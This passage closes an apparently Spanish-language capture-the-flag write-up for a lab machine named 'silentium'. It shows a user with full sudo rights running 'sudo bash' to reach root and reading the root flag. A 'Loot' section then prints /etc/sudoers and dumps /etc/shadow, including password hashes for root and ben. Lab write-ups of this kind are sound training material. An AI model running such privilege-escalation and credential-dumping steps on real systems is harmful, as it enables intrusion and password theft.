Sudoers entry: /etc/sudoers
    RunAsUsers: ALL
    RunAsGroups: ALL
    Commands:
	ALL
ben@silentium:~$ sudo bash

Ejecutamos bash con sudo logrando obtener root y la flag root.txt.

1
2
3
4
5
6
7
8
9
ben@silentium:~$ sudo bash
root@silentium:/home/ben# whoami
root
root@silentium:/home/ben# cd
root@silentium:~# ls 
gogs-repositories  root.txt
root@silentium:~# cat root.txt 
174509bd4e99721f12b4bbd7f23971c1
root@silentium:~#

Podemos observar los cambios en /etc/sudoers.

1
2
3
4
5
6
7
8
9
root@silentium:~# cat /etc/sudoers
Defaults	env_reset
Defaults	mail_badpass
Defaults	secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
Defaults	use_pty
root	ALL=(ALL:ALL) ALL
ben	ALL=(ALL:ALL) ALL
%sudo	ALL=(ALL:ALL) ALL
@includedir /etc/sudoers.droot@silentium:~#

Loot

Dump Hashes

Realizamos la lectura del archivo /etc/shadow.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
root@silentium:~# cat /etc/shadow
root:$y$j9T$ZiVbnjU.1mwoiXH85J8Ba0$peiSP20P.eeOLeJFK1p9Dv1RJ9Z3yZxNh0gziAF9wR0:20482:0:99999:7:::
daemon:*:20135:0:99999:7:::
bin:*:20135:0:99999:7:::
sys:*:20135:0:99999:7:::
sync:*:20135:0:99999:7:::
games:*:20135:0:99999:7:::
man:*:20135:0:99999:7:::
lp:*:20135:0:99999:7:::
mail:*:20135:0:99999:7:::
news:*:20135:0:99999:7:::
uucp:*:20135:0:99999:7:::
proxy:*:20135:0:99999:7:::
www-data:*:20135:0:99999:7:::
backup:*:20135:0:99999:7:::
list:*:20135:0:99999:7:::
irc:*:20135:0:99999:7:::
_apt:*:20135:0:99999:7:::
nobody:*:20135:0:99999:7:::
systemd-network:!*:20135::::::
systemd-timesync:!*:20135::::::
messagebus:!:20135::::::
systemd-resolve:!*:20135::::::
pollinate:!:20135::::::
polkitd:!*:20135::::::
syslog:!:20135::::::
uuidd:!:20135::::::
tcpdump:!:20135::::::
tss:!:20135::::::
landscape:!:20135::::::
fwupd-refresh:!*:20135::::::
usbmux:!:20178::::::
sshd:!:20178::::::
_laurel:!:20178::::::
ben:$y$j9T$ZXCNHkH0gUjRxBD6m1PWY0$YGEBpvsiBytpat6cZZ1IXH0g6vRSGKcvb5FIBc1qkLA:20482:0:99999:7:::
dnsmasq:!:20482::::::
dhcpcd:!:20551::::::
root@silentium:~#
Share on

Dany Sucuc
WRITTEN BY
sckull